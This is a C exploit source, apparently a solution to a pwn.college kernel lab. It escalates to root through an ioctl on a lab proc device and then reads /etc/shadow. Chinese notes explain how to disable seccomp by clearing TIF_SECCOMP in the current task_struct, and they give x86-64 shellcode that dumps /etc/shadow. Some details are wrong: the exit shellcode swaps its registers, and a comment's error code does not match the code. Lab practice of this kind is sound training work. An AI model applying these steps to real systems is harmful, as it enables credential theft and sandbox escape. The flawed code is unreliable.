#define _GNU_SOURCE 1
#include <sys/sendfile.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>

void attack()
{
    printf("BREAKING OUT!\n");
    ioctl(3, 0x5566, 0x12341);			/* only 3 */

    printf("Pre-root uid: %d\n", getuid());
    ioctl(3, 0x5566, 0x12341234);
    printf("Post-root uid: %d\n", getuid());

    int flag_fd = open("/etc/shadow", 0);		/* read root cred file */
    assert(flag_fd > 0);
    char buf[1024];
    int n = read(flag_fd, buf, 1024);
    assert(n > 0);
    puts(buf);
}

int main()
{
    int fd = open("/proc/pwn-college-root", 0);
    assert(fd > 0);

    setresuid(1234, 1234, 1234);

    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_ERRNO(1234));
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(ioctl), 0) == 0);
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0);
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0);
    assert(seccomp_load(ctx) == 0);

    printf("Before breaking out...\n");
    printf("Trying getuid() %d\n", getuid());

    attack();

	#if 0
	打开/proc/pwn-college-root文件，确保程序有访问权限。
	setresuid(1234, 1234, 1234);：将用户ID设置为1234。
	初始化seccomp过滤器ctx，将默认操作设置为返回错误代码1337。
	添加允许的系统调用：ioctl、read、write。
	加载seccomp过滤器以限制程序只能调用上述系统调用。
	打印当前用户ID，然后调用attack()函数尝试提升权限并读取文件内容。
	#endif
}


#if 0

apt-get install libseccomp-dev
gcc -o seccomp -static seccomp.c -lseccomp

/*
 * Seccomp（安全计算模式）是一种用于限制进程系统调用的安全机制。
 */

过task_struct获取thread_info.flags的偏移量，改变TIF_SECCOMP位，从而关闭当前线程的seccomp。
TIF_SECCOMP是一个索引，通过将1左移8位然后取反，创建了一个字段，每个位都是1，除了右边第8位，
这样就关闭了一个标志位。具体操作如下：
current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)

内核通常将GS寄存器指向当前task_struct，简称为current，以便频繁地使用该结构。
通过current可以轻松访问当前进程的task_struct。要关闭thread_info.flags中的TIF_SECCOMP标志，
可以先通过GS寄存器获取结构的访问权限，然后清除TIF_SECCOMP标志即可。
这样当前进程就不会被Seccomp保护，但它的子进程仍然会受到Seccomp防护。


为了绕过Seccomp限制或在内核中进行某些操作，需要找到当前的任务结构体（task_struct），
在Linux内核中，每个运行中的任务（进程或线程）都有一个对应的 task_struct 结构体，包含了任务的所有信息。
在内核代码中，可以通过 current 宏快速访问当前任务的 task_struct，
在x86_64架构下，Linux内核使用段寄存器 gs 指向当前CPU的 per-CPU 数据区域，
而 per-CPU 数据区域中包含了当前任务的 task_struct，在内核开发中，
通过宏 current 可以轻松获取当前任务的 task_struct。但是在编写Shellcode时，没有这些高级宏，
必须直接使用汇编指令从 gs 寄存器中获取任务结构体。

以下是如何在Shellcode中获取当前任务的 task_struct 的示例：

    mov rax, qword ptr gs:[0x0]     ; 从 gs 段寄存器获取当前任务的 task_struct

也可以用c语言写出来，编译为内核模块，通过objump来查看汇编指令是什么，再将汇编指令写入shellcode即可。

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>

void *test_get_thread_info_flags_addr(void) {
    return &current->thread_info.flags;
}

unsigned long test_get_seccomp_flag(void) {
    return TIF_SECCOMP;
}

MODULE_LICENSE("GPL");


不需要阅读内核源代码，直接用编译器就能帮我们找出来需要用到的指令。

详见 current-task_struct/current-task.c


用户空间读取文件的汇编指令 shellcode:

global _start
section .text
    _start:
        ; fd = open("/etc/shadow", O_RDONLY);
        lea rdi, [rip+flag]
        mov rsi, 0
        mov rax, 2
        syscall

        ; bytes_read = read(fd, buf, 100);
        mov rdi, rax
        mov rsi, rsp
        mov rdx, 100
        mov rax, 0
        syscall

        ; write(stdout, buf, bytes_read);
        mov rdi, 1
        mov rsi, rsp
        mov rdx, rax
        mov rax, 1
        syscall

        ; exit(42)
        mov rdi, 60
        mov rax, 42
        syscall

section .data
    flag db "/etc/shadow", 0


在用户空间执行完Shellcode可以不用管后面怎么样， 为了保证系统的稳定性和安全性，
内核空间Shellcode在完成任务后应尽量干净地退出，而不是出现段错误或崩溃，
如果是通过劫持函数指针来调用Shellcode，那么让它像一个函数一样运行并在完成时返回， 
确保在Shellcode执行完毕后，恢复原有的寄存器和栈状态，避免影响后续代码执行。

假设通过劫持函数指针来执行Shellcode，可以在Shellcode末尾添加返回指令：

pop rax           ; 弹出返回地址到rax
jmp rax           ; 跳转回返回地址，恢复正常执行


#endif
